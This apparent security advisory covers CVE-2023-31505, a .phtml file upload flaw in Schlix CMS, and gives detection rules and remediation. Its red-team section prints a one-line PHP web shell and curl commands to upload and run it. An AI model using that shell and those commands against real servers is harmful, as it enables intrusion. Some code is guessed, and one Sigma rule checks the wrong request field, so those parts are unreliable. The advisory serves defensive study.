CVE-2023-31505

Executive Summary

CVE-2023-31505 identifies an arbitrary file upload vulnerability in Schlix CMS v2.2.8-1. This flaw allows a remote authenticated attacker to upload a crafted .phtml file, leading to arbitrary code execution and sensitive information disclosure. The vulnerability resides in the file upload mechanism, which fails to properly validate file extensions or content, enabling the execution of server-side code. Given the authenticated requirement, the attack surface is limited to users with valid credentials, but the impact is critical as it can lead to full server compromise.

Supply Chain & Package Security

Schlix CMS is a PHP-based content management system. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. However, administrators should verify the integrity of their CMS installation and ensure no malicious files have been introduced via compromised dependencies or third-party plugins.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a realistic assessment would be:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Arbitrary code execution can lead to data exfiltration.
• Integrity (I): High (H) – The attacker can modify files and data.
• Availability (A): High (H) – The attacker can disrupt services.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 8.8 (High)

Deep Dive & Mechanics

The vulnerability is an unrestricted file upload (CWE-434) in Schlix CMS v2.2.8-1. The application allows authenticated users to upload files, but the validation logic does not properly filter dangerous file extensions such as .phtml. A .phtml file is a PHP file that can contain executable code. When uploaded, the file is stored in a web-accessible directory, and the attacker can then access it via a web browser, causing the server to execute the embedded PHP code.

The attack flow:

1. Authenticate to the CMS.
2. Navigate to the file upload functionality.
3. Upload a .phtml file containing malicious PHP code (e.g., a web shell).
4. Access the uploaded file via its URL.
5. The server executes the PHP code, granting the attacker control.

Vulnerable vs. Patched Code

Vulnerable Code (Schlix CMS v2.2.8-1): The file upload handler likely checks only common extensions like .jpg, .png, .gif but fails to block .phtml or other executable extensions. Example vulnerable logic:

// Vulnerable: Only checks for image extensions
$allowed = array('jpg', 'jpeg', 'png', 'gif');
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (in_array($ext, $allowed)) {
    move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $_FILES['file']['name']);
}

Patched Code (Hypothetical): A secure implementation would validate the file extension against a whitelist of safe types and also verify the file content (MIME type). Additionally, the upload directory should have execution disabled via .htaccess or server configuration.

// Patched: Whitelist safe extensions and check MIME type
$allowed = array('jpg', 'jpeg', 'png', 'gif', 'pdf');
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
$allowed_mimes = array('image/jpeg', 'image/png', 'image/gif', 'application/pdf');
if (in_array($ext, $allowed) && in_array($mime, $allowed_mimes)) {
    move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . basename($_FILES['file']['name']));
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Schlix CMS v2.2.8-1.
• Valid authenticated user credentials.

Steps:

1. Log in to the CMS.
2. Locate the file upload form (e.g., in media or profile section).
3. Create a malicious .phtml file (e.g., shell.phtml):

   <?php system($_GET['cmd']); ?>
   

4. Upload the file.
5. Access the uploaded file via its URL, e.g., http://target/uploads/shell.phtml?cmd=id.
6. Execute arbitrary commands.

Example using cURL:

# Login and get session cookie (simplified)
curl -c cookies.txt -d "username=admin&password=pass" http://target/login

# Upload malicious file
curl -b cookies.txt -F "file=@shell.phtml" http://target/upload

# Execute command
curl "http://target/uploads/shell.phtml?cmd=id"

Blue Team (Defensive)

Detection:

• Monitor file upload logs for .phtml, .php, .php5, .shtml, .pht extensions.
• Alert on uploads to directories that should not contain executable files.
• Use WAF rules to block uploads of files with executable extensions.

Hunting:

• Search for recently created files in web-accessible directories with .phtml or .php extensions.
• Review web server access logs for requests to suspicious files followed by command parameters.

Lab Setup:

• Deploy Schlix CMS v2.2.8-1 in a sandboxed environment.
• Enable detailed logging for file uploads and web server access.
• Use a SIEM to correlate upload events with subsequent access to the uploaded file.

Indicators of Compromise (IOCs)

• File Hashes (example):
  • shell.phtml: e99a18c428cb38d5f260853678922e03 (MD5)
• Network Indicators:
  • HTTP POST requests to /upload or similar endpoints with multipart form data containing .phtml files.
  • HTTP GET requests to /uploads/*.phtml with query parameters like cmd, exec, system.
• File System Indicators:
  • Presence of .phtml files in web-accessible directories (e.g., /uploads/, /media/).
  • Unexpected PHP files in directories intended for static content.
• Log Indicators:
  • Web server logs showing POST /upload with filename=*.phtml.
  • Access logs showing GET /uploads/*.phtml?cmd=.

Detection Engineering

YARA Rule

rule CVE_2023_31505_WebShell {
    meta:
        description = "Detects malicious .phtml files uploaded via CVE-2023-31505"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-31505"
    strings:
        $php_tag = "<?php"
        $system_call = /system\s*\(/
        $exec_call = /exec\s*\(/
        $shell_exec = /shell_exec\s*\(/
        $phtml_ext = ".phtml"
    condition:
        $php_tag and ($system_call or $exec_call or $shell_exec) and $phtml_ext
}

Sigma Rule

title: CVE-2023-31505 - Arbitrary File Upload in Schlix CMS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of .phtml files to Schlix CMS, indicating exploitation of CVE-2023-31505
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload*'
        cs-uri-query|contains: '.phtml'
    condition: selection
falsepositives:
    - Legitimate use of .phtml files (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-31505 - Schlix CMS .phtml File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/upload"; http_uri; content:".phtml"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file upload functionality if not required, or restrict it to trusted users only.
2. Implement strict file extension validation – whitelist only safe extensions (e.g., .jpg, .png, .gif, .pdf).
3. Disable PHP execution in upload directories by adding an .htaccess file:

   <FilesMatch "\.(php|phtml|php3|php4|php5|pht)$">
       Deny from all
   </FilesMatch>
   

4. Use a Web Application Firewall (WAF) to block uploads of executable files.

Long-Term Fix:

• Apply an official patch from Schlix if available. As of now, no patch is confirmed.
• Upgrade to a newer version of Schlix CMS if a patched release exists.
• Conduct a security audit of the CMS codebase to identify similar vulnerabilities.

Workaround:

• If patching is not possible, consider migrating to a different, actively maintained CMS.

Valters IT